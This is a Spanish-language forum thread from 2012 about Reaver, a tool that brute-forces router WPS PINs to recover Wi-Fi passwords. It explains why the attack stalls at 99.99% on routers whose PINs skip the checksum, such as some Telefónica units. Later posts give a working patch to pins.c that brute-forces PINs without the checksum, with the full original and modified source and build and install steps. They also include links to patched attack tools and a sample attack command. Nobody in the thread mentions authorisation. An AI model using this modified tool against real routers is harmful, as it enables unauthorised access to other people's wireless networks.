Seguridad Wireless - Wifi

Suite Seguridad Wireless => Live wifislax => Mensaje iniciado por: Tystar en 20-11-2012, 13:55 (Martes)

Título: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Tystar en 20-11-2012, 13:55 (Martes)
Hola,

He visto en otros post que la gente pide una "actualización de reaver que corrija el bug del 99.99%". Comentar que NO ES UN BUG DEL REAVER.

Explico. El reaver fue diseñado para sacar claves WPS que cumplan con la regla de 7+checksum, es decir, si la clave es 01234567, los siete primeros son la clave y el octavo se genera a partir de calculos realizados con los otros siete. Que quiere decir esto? Que cualquier valor no sirve (en teoría) como clave. De hecho si se usa el comando -p XXXXXXXX y se pone un pin de 8 dígitos, probablemente veremos como nos cambia el último dígito.

Pues bien, que ocurre si los routers permiten poner cualquier clave WPS de 8 dígitos, aunque no se respete el checksum? Pues que te encontraras con que el reaver no encontrará jamás la segunda parte de la clave y tendrás el problema del 99,99%.

El reaver genera pines entre el 0000000X y el 9999999X, siendo el último el checksum. Si el valor que tiene el router no está entre esos números, se queda al 99,99% y no termina. Eso ocurre mucho con los routers de telefónica.

Solución? En su día yo cambié el código del reaver y lo volví a compilar, para que  en lugar de generarme el checksum, el último digito siempre fuera 0, entonces barrió todos los valores entre 00000000 a 99999990. Como ya tenía la primera parte de la clave, pongamos que era AAAA, pues me barrió entre los valores AAAA0000 a AAAA9990.

No encontré el WPS, volví a cambiar el código para que buscara los acabados en "1". Entonces barrió entre el AAAA0001 al AAAA9991. Tuve suerte y el PIN estaba entre esos valores.

Conclusión: El reaver no tiene un "bug" que se queda colgado al 99,99%, simplemente hemos tenido la mala suerte de toparnos con un router que tiene un pin que no cumple la regla de 7 digitos + checksum (XXXXXXX+Y).

Espero con esto ayudar a disipar la espera de la gente a que salga un Reaver que arregle ese "bug".
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: sanson en 20-11-2012, 14:07 (Martes)
hola

ok gracias por la info

lo muevo a wifislax

saludos
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: crislgga en 20-11-2012, 17:18 (Martes)
hola, el "bug" que comentas es cierto, el router ADB de telefonica no cumple con la norma wps, de 7 digitos, os alegro el dia que en otro foro, ya han hecho una compilacion de wpscrack, y una version previa para reaver que segun ya usuarios funciona correctamente, no se si es correcto comentar info de ese foro, pero buscad, por que ya es posible, a lo mejor el router ADB, no es el unico
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Shyraz en 21-11-2012, 18:10 (Miércoles)
Gracias Tystar por la explicación, y como diría KOKE : "una cosilla q se me viene a la cabeza...", cuando reaver alcanza el 99'99%, y se hace "la picha un lio" para seguir,  quiere decir q los 7 primeros dígitos del pin si son correctos? es q aunque he leido tu explicación,  pues de programación ni idea...

Imagino q la deducción q acabo de exponer no es correcta, verdad??

Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: maseross en 21-11-2012, 21:58 (Miércoles)
Significa que los cuatro primeros son correctos pero como ha probado ya todas las posibilidades y no lo ha encontrado cree que esta al 99,99%
Si tuvieras 7 digitos solo te faltaría probar 9 combinaciones pero no es así.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Shyraz en 22-11-2012, 00:44 (Jueves)
Significa que los cuatro primeros son correctos pero como ha probado ya todas las posibilidades y no lo ha encontrado cree que esta al 99,99%
Si tuvieras 7 digitos solo te faltaría probar 9 combinaciones pero no es así.

Tiene sentido, en ese caso "sólo" faltarían 10.000 posibilidades por probar... ^-^
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Carpena en 23-11-2012, 22:34 (Viernes)
a ver es verdad que ha salido un codigo nuevo que evita el cheksum y se soluciona el problema del 99,99% pero esta en python, cuelgo el enlace de descarga y que alguien nos enseñe a usarlo en por ejemplo wifiway 3.4
https://www.dropbox.com/s/vrr70im38s2iyf4/wpscrack-BF.py (https://www.dropbox.com/s/vrr70im38s2iyf4/wpscrack-BF.py)
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 23-11-2012, 22:48 (Viernes)
a ver es verdad que ha salido un codigo nuevo que evita el cheksum y se soluciona el problema del 99,99% pero esta en python, cuelgo el enlace de descarga y que alguien nos enseñe a usarlo en por ejemplo wifiway 3.4
https://www.dropbox.com/s/vrr70im38s2iyf4/wpscrack-BF.py (https://www.dropbox.com/s/vrr70im38s2iyf4/wpscrack-BF.py)

wifiway es demasiado viejo , ...no digo que no se pueda, pero facil no sera.

veo mas viable en wifislax ...que lleva python mas nuevo y bastantes bindings ...y ya lleva scapy y demas.

Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Carpena en 24-11-2012, 01:39 (Sábado)
bueno pues que alguien ponga un resumen de como hacerlo con wifislax o el sistema operativo que prefiera, que seria muy interesante
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 04:22 (Sábado)
en wifislax 4.3 SOLO SE NECESITA pycrypto2.6   ^-^
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: popeye7 en 24-11-2012, 10:32 (Sábado)
Buenas  , ¿seía posible hacer un módulo de este reaver modificado para bssid 8c:0c:a3 ?.Desonozco si sería una buena idea colocarlo en la carpeta opcional de wifislax 4.3 .
En distros basadas en ubuntu  me ha funcionado instalando un archivo comprimido que hay por la red
denominado reaver-1.4_BBSID_8c-0c-a3 .
Saludos
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 12:38 (Sábado)
Buenas  , ¿seía posible hacer un módulo de este reaver modificado para bssid 8c:0c:a3 ?.Desonozco si sería una buena idea colocarlo en la carpeta opcional de wifislax 4.3 .
En distros basadas en ubuntu  me ha funcionado instalando un archivo comprimido que hay por la red
denominado reaver-1.4_BBSID_8c-0c-a3 .
Saludos

mmmm , en la carpeta optional ...no se me habia ocurrido hacerlo asi.

tened en cuenta esto ...yo lo testee , y contra un router que cumpla la norma wps ....este MOD , no funciono bien.

pero en optional ....mmm , como ultima opcion si reaver original se queda "out" ...en el 99%.....

aunque es un coñazo estar cambiando de version...
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: popeye7 en 24-11-2012, 12:45 (Sábado)
con ultraiso y maquina virtual , sin problemas . En las otras formas tienes razon.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 12:50 (Sábado)
el principal problema esta en que ese codigo a sido modificado y publicado en un foro ENEMIGO , el cual no estaria visto con buenos ojos ponerlo en la live , ni bien visto aqui ni alli.

dejando eso de lado , puedo hacer 2 cosas

1-escribir exactamente como se instala ..algo que aun asi habria quien no supiese.
2-os hago el modulo lo publico como modulo extra y ya se lo baja quien quiera


en la iso de serie esta muy complicado meterlo por enemistades.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 12:52 (Sábado)
inclusive podria publicarse en este hilo para no dejaros tirados del todo.

me refiero al xzm ...

aun y con todas voy a pedir consejo , ya que yo aqui no pinto.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: popeye7 en 24-11-2012, 13:10 (Sábado)
Yo sin meterme en profindidades , lo veo como al que le gusta el futbol ,disfruta del buen futbol aunque en su corazon tenga unos colores  . Resumiendo las cosas bien hechas estan bien hechas independientemente de quien las haga . Muchos de los aficionados a este mundillo visitan y son miembros de otros foros wireless españoles y extranjeros . He leido en el foro al que te refieres gente demandando un modulo de este reaver modificad0 para tus distros. En definitiva , creo que a los que nos gusta esto tenemo un foro preferido pero visitamos otros , esa es mi opinion .
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 13:41 (Sábado)
hay os dejo el xzm subido a multiupload..

no se lo que durara la descarga , por que al ser un servicio gratuito pues acaban borrando los ficheros asi que..

http://www.multiupload.nl/8KLLFYFDIZ
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 13:51 (Sábado)
para los que quieran instalarlo a mano es muy sencillo.


extraen el contenido del archivo comprimido...

exploran carpetas hasta ver la que pone src , ...hay click derecho sobre esa carpeta..abrir terminal aqui.


cuando se abre la shell , vemos que pone

wifislax src#

o similar,...


en el terminal...


Código: [Seleccionar]
./configure --prefix=/usr --sysconfdir=/etc
seguramente os diga que no teneis permiso ...bien entrar a src buscad el fichero configure..click derecho en permisos marcar casilla es ejecutable ....colcer a ejecutar

Código: [Seleccionar]
./configure --prefix=/usr --sysconfdir=/etc
se configurara el paquete.

Código: [Seleccionar]
make
Código: [Seleccionar]
make install
con eso lo habremos instalado.

___________________________________________________________________

mision 2 , salvarlo en un xzm

crear en escritorio una carpeta con un nombre sin espacios

por ejemplo

Código: [Seleccionar]
reaver_mod
abrimos dolphin o entramos a home ...

nos dirigimos a

Código: [Seleccionar]
/mnt/live/memory/changes
alli se escriben los cambios del sistema..como la instalacion de reaver.


alli veremos varias carpetas...nos interesan

Código: [Seleccionar]
etc y usr
click derecho , copiar

y pegais dentro de nuestra carpeta

reaver_mod


ahora explorad las carpetas que habeis copiado ...

en etc debedia dejar SOLO

reaver.db

es decir dejaremos

Código: [Seleccionar]
/etc/reaver/reaver.db
y en usr dejaremos solo

Código: [Seleccionar]
/usr/bin/reaver
/usr/bin/wash


cuando hemos dejado solo esos tres ficheros en sus carpètas ..ya entonces solo queda crear xzm


click derecho sobre nuestra carpeta reaver_mod , crear xzm ...

y mision cumplida.

Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: m.k. en 24-11-2012, 17:31 (Sábado)
Hola.

Mirando en la solucion de problemas de REAVER en la pagina del proyecto http://code.google.com/p/reaver-wps/ he visto un comentario que da solución al error del 99.99%. para que no compruebe el cheksum del último digito.

http://code.google.com/p/reaver-wps/issues/detail?id=195#c41

Citar
Comment 41 by stefano....@gmail.com, Oct 22, 2012

I'm proud of you Tystar!
You tried harder than anybody else looking for the insight and then you saw the light.
So it's time to show that light to all the masses.

Assumptions:
-the router accepts WPS transaction so it's not giving you continuously "timeout".
-you know the first 4 digits of the pin (for example 0123 or 1234 or whatever)
retrieve these information using original reaver before applying the modification.
---------------------------------------------------------------------------------------------
download reaver:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

open the file /root/reaver-wps-read-only/src/pin.c with a text editor
(save a copy you will need it to reinstall original reaver)
after #include "pins.h" SUBSTITUTE THE FIRST FUNCTION WITH THIS SAME FUNCTION (modified):

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
      
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
            
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */

-actual reaver have to be uninstalled:

cd /root/reaver-wps-read-only/src
./configure
make distclean

-modified reaver have to be installed:

cd /root/reaver-wps-read-only/src
./configure
make
make install
---------------------------------------------------------------------------------------------
call reaver with the option -p 0123 where "0123" are the pin first 4 digits.
if you don't specify these 4 digits worst-case will take at least 10 years (3sec/pin * 10^8pin).
using the right 4 digits worst-case will take at least 10 hours (3sec/pin * 10^4).

to reinstall original reaver:
substitute modified pins.c with the original pins.c that you kept safe somewhere.
uninstall and install with same commands as above.


Viene a decir que en el REAVER original en el archivo pin.c se sustituya una parte del codigo por el modificado por STEFANO.

Imagino que esto será la modificación que han hecho en el foro "ENEMIGO"

Saludos



Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 24-11-2012, 17:36 (Sábado)
Esto intentado instalarlo, pero no me cuadra mucho con la estructura de mi sistema.

Te cuento, lo estoy intentando instalar en una Live de wifislax 4.2 si no me equivoco, es la ultima.

He encontrado la Carpeta src la he encontrado en esta ruta usr/src pero dentro de esa carpeta solo hay una llamada Linux-3.3.8 y si en tro de esta o hay ninguna llamada Configure.

Te importaría aclararlo para la 4.2

Muchas gracias por todo
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 17:43 (Sábado)
Hola.

Mirando en la solucion de problemas de REAVER en la pagina del proyecto http://code.google.com/p/reaver-wps/ he visto un comentario que da solución al error del 99.99%. para que no compruebe el cheksum del último digito.

http://code.google.com/p/reaver-wps/issues/detail?id=195#c41

Citar
Comment 41 by stefano....@gmail.com, Oct 22, 2012

I'm proud of you Tystar!
You tried harder than anybody else looking for the insight and then you saw the light.
So it's time to show that light to all the masses.

Assumptions:
-the router accepts WPS transaction so it's not giving you continuously "timeout".
-you know the first 4 digits of the pin (for example 0123 or 1234 or whatever)
retrieve these information using original reaver before applying the modification.
---------------------------------------------------------------------------------------------
download reaver:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

open the file /root/reaver-wps-read-only/src/pin.c with a text editor
(save a copy you will need it to reinstall original reaver)
after #include "pins.h" SUBSTITUTE THE FIRST FUNCTION WITH THIS SAME FUNCTION (modified):

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
      
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
            
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */

-actual reaver have to be uninstalled:

cd /root/reaver-wps-read-only/src
./configure
make distclean

-modified reaver have to be installed:

cd /root/reaver-wps-read-only/src
./configure
make
make install
---------------------------------------------------------------------------------------------
call reaver with the option -p 0123 where "0123" are the pin first 4 digits.
if you don't specify these 4 digits worst-case will take at least 10 years (3sec/pin * 10^8pin).
using the right 4 digits worst-case will take at least 10 hours (3sec/pin * 10^4).

to reinstall original reaver:
substitute modified pins.c with the original pins.c that you kept safe somewhere.
uninstall and install with same commands as above.


Viene a decir que en el REAVER original en el archivo pin.c se sustituya una parte del codigo por el modificado por STEFANO.

Imagino que esto será la modificación que han hecho en el foro "ENEMIGO"

Saludos





 >:( >:( >:(

LUGO LO MIRO.

gracias.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: ñandu en 24-11-2012, 22:54 (Sábado)
hay os dejo el xzm subido a multiupload..

no se lo que durara la descarga , por que al ser un servicio gratuito pues acaban borrando los ficheros asi que..

http://www.multiupload.nl/8KLLFYFDIZ
he bajado el modulo y no me detecta redes con wps ,lo intente desde inflator y no detecta ninguna red ,despues desde comando consola tampoco aparecen redes  :-\ probado desde live USB claro,la solucion que encontre eliminar el modulo  :-[ y despues funciona con normalidad detectando redes con WPS ^-^
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 23:06 (Sábado)
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: ñandu en 24-11-2012, 23:15 (Sábado)
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.
lo probe en wifislax 4.3  ;D salu2
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 24-11-2012, 23:29 (Sábado)
esta cosntruido en wifislax 4.3 ¿ lo probaste hay o en wifiway ?, ¿ o wifislax 4.2 ?


luego probare el modulo.
lo probe en wifislax 4.3  ;D salu2

ok , luego mirare que pasa.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 25-11-2012, 00:52 (Domingo)
No encuentro la carpeta SRC por ninguna parte después de descomprimirlo solo veo las carpetas etc usr y var y no esta dentro de ninguna alguien puede ayudarme
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 25-11-2012, 02:12 (Domingo)
M.K , a dao en el clavo 100x100


esa es la modificacion unica y correcta del codigo de reaver hecha por el desarrollador de la misma , que digo yo sabra mas que nadie sobre el codigo de su herramienta.


el desarrollador podria facilmente haber  incluido algun parametro , para decirle a reaver "no te comportes de manera standard"   ..por ejemplo


Código: [Seleccionar]
reaver -i mon0 -b 11:22:33:44:55 --no-checksum -p 1234 -vv
interpretado seria

tira a este router SIN CHECKSUM , y los 4 primeros numeros son estos -p 1234  los 4 siguientes los probaria todos.

pero por lo que sea no lo ha hecho ...


_______________________________________________________________________________________________

antes de que nadie se vuelva loco , quiero explicar exactamente el procedimiento.

1- siempre siempre siempre tiraremos con reaver standard
2- en caso de obtener el famoso bucle de 99% usar entonces el mod
3- al usar el mod SI o SI , hay que usar el parametro -p xxxx

donde xxxx seran los 4 primeros digitos del numero que se quedo en bucle 99%


ejemplo

lanzo reaver y al final se me queda en 99% con el numero 12349876

me anoto los 4 primeros que son

1234

y lanzo reaver modificado con el argumento

-p 1234

asi solo buscara los 4 ultimos probandolos todos .


seria interesante anotarse el numero al completo y una vez obtenido al 100% , cotejar si efectivamente solo valian los 4 primeros , o podemos aprovechar algo mas.

___________________________________________________________________________________________________________________

segun el desarrollador de reaver SOLO HAY QUE TOCAR UN POCO EL FICHERO  pins.c

pins.c ORIGINAL

Código: [Seleccionar]
/*
 * Reaver - WPS PIN functions
 * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#include "pins.h"

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);

                /* Generate a 7-digit pin from the given key index values */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(get_p2_index()));

                /* Generate and append the pin checksum digit */
                snprintf(pin, pin_len, "%s%d", key, wps_pin_checksum(atoi(key)));

                free(key);
        }

        return pin;
}

/*
 * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays,
 * and populate the wps structure with the new pin.
 */
char *build_next_pin()
{
        char *pin = NULL;
        struct wps_data *wps = get_wps();

        /* Remove previous pin */
        wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e);

        /* Build a new pin */
        pin = build_wps_pin();
        if(pin)
        {
                /* Add the new pin */
                if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0)
                {
                        free(pin);
                        pin = NULL;
                }
        }

        return pin;
}

/* Generate the p1 and p2 pin arrays */
void generate_pins()
{
        int i = 0, index = 0;

/* If the first half of the pin was not specified, generate a list of possible pins */
if(!get_static_p1())
{
/*
* Look for P1 keys marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P1_SIZE; i++)
{
if(k1[i].priority == 1)
{
set_p1(index, k1[i].key);
index++;
}
}
       
/* Randomize the rest of the P1 keys */
for(i=0; index < P1_SIZE; i++)
        {
                if(!k1[i].priority)
                {
                        set_p1(index, k1[i].key);
                        index++;
}
}
        }
else
{
/* If the first half of the pin was specified by the user, only use that */
for(index=0; index<P1_SIZE; index++)
{
set_p1(index, get_static_p1());
}
}

/* If the second half of the pin was not specified, generate a list of possible pins */
if(!get_static_p2())
{
/*
* Look for P2 keys statically marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P2_SIZE; i++)
{
if(k2[i].priority == 1)
{
set_p2(index, k2[i].key);
index++;
}
}

/* Randomize the rest of the P2 keys */
        for(i=0; index < P2_SIZE; i++)
        {
                if(!k2[i].priority)
                {
                        set_p2(index, k2[i].key);
                        index++;
}
                }
        }
else
{
/* If the second half of the pin was specified by the user, only use that */
for(index=0; index<P2_SIZE; index++)
{
set_p2(index, get_static_p2());
}
}

        return;
}



pins.c MODIFICADO TAL COMO DICE EL DESARROLLADOR

Código: [Seleccionar]
/*
 * Reaver - WPS PIN functions
 * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#include "pins.h"

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
     
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
           
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */


/*
 * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays,
 * and populate the wps structure with the new pin.
 */
char *build_next_pin()
{
        char *pin = NULL;
        struct wps_data *wps = get_wps();

        /* Remove previous pin */
        wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e);

        /* Build a new pin */
        pin = build_wps_pin();
        if(pin)
        {
                /* Add the new pin */
                if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0)
                {
                        free(pin);
                        pin = NULL;
                }
        }

        return pin;
}

/* Generate the p1 and p2 pin arrays */
void generate_pins()
{
        int i = 0, index = 0;

/* If the first half of the pin was not specified, generate a list of possible pins */
if(!get_static_p1())
{
/*
* Look for P1 keys marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P1_SIZE; i++)
{
if(k1[i].priority == 1)
{
set_p1(index, k1[i].key);
index++;
}
}
       
/* Randomize the rest of the P1 keys */
for(i=0; index < P1_SIZE; i++)
        {
                if(!k1[i].priority)
                {
                        set_p1(index, k1[i].key);
                        index++;
}
}
        }
else
{
/* If the first half of the pin was specified by the user, only use that */
for(index=0; index<P1_SIZE; index++)
{
set_p1(index, get_static_p1());
}
}

/* If the second half of the pin was not specified, generate a list of possible pins */
if(!get_static_p2())
{
/*
* Look for P2 keys statically marked as priority. These are pins that have been
* reported to be commonly used on some APs and should be tried first.
*/
for(index=0, i=0; i<P2_SIZE; i++)
{
if(k2[i].priority == 1)
{
set_p2(index, k2[i].key);
index++;
}
}

/* Randomize the rest of the P2 keys */
        for(i=0; index < P2_SIZE; i++)
        {
                if(!k2[i].priority)
                {
                        set_p2(index, k2[i].key);
                        index++;
}
                }
        }
else
{
/* If the second half of the pin was specified by the user, only use that */
for(index=0; index<P2_SIZE; index++)
{
set_p2(index, get_static_p2());
}
}

        return;
}



Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Chumpy en 25-11-2012, 04:59 (Domingo)
para los que quieran instalarlo a mano es muy sencillo.

extraen el contenido del archivo comprimido...

exploran carpetas hasta ver la que pone src , ...hay click derecho sobre esa carpeta..abrir terminal aqui.


Entiendo que hay que buscar src dentro del archivo descomprimido.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 25-11-2012, 06:42 (Domingo)
ESPERAD A MAÑANA , ya he conseguido yo mismo modificar lo necesario en el code.

Hasta lo he traducido al español ...al 95% , y coloreado las partes interesantes , como cuando dice el pin que ha probado , sale de otro color para verlo claramente.


ademas me la he ingeniado para poder tener A LA VEZ LAS 2 VERSIONES ,  >:(

ya que tambien modifique la ruta donde buscara la base de pines.


reaver normal busca su base de pines en

/etc/reaver/reaver.db

el mio modificado

/etc/reaver-wifislax/reaver.db


_____________________________________________________________________

podeis hacer

./configure --prefix=/usr --sysconfdir=/etc
make

pero en vez de make install , lo que haremos es mirar en la carpeta y veremos que alli estan


reaver
wash
reaver.db


iremos a etc y crearemos la carpeta reaver-wifislax y meteremos alli el file reaver.db
iremos a /usr/bin

y aqui esta el truco ....

wash podeis sobreescribirlo , ...y para mantener los 2 reavers , solo renombrad el nuevo a

reaver-wifislax

asi tendresi el ejecutable de reaver y el otro renombrado a reaver-wifislax que trabajara sobre

/etc/reaver-wifislax


si haceis

make install , se instalara solo , pero perdereis el reaver original.

_____________________________________________________________________________

me falta un script inicial que informe detalladamente el enfoque del mod , para evitar despues preguntas , que llegaran igual , pero bueno , que no quede por intentarlo.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: popeye7 en 25-11-2012, 07:18 (Domingo)
AL Cesar lo que es del Cesar . Supongo que ya no existe ningun problema para integrar ese modulo en wifislax. Por otra parte el archivo que pusiste para descargar , bajándolo de todos los
  servidores y en en wifislax . 2 y 3 , extayendo el módulo no me aparece la carpeta src ( tampoco dentro de las existentes).
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: m.k. en 25-11-2012, 09:20 (Domingo)

ESPERAD A MAÑANA , ya he conseguido yo mismo modificar lo necesario en el code.

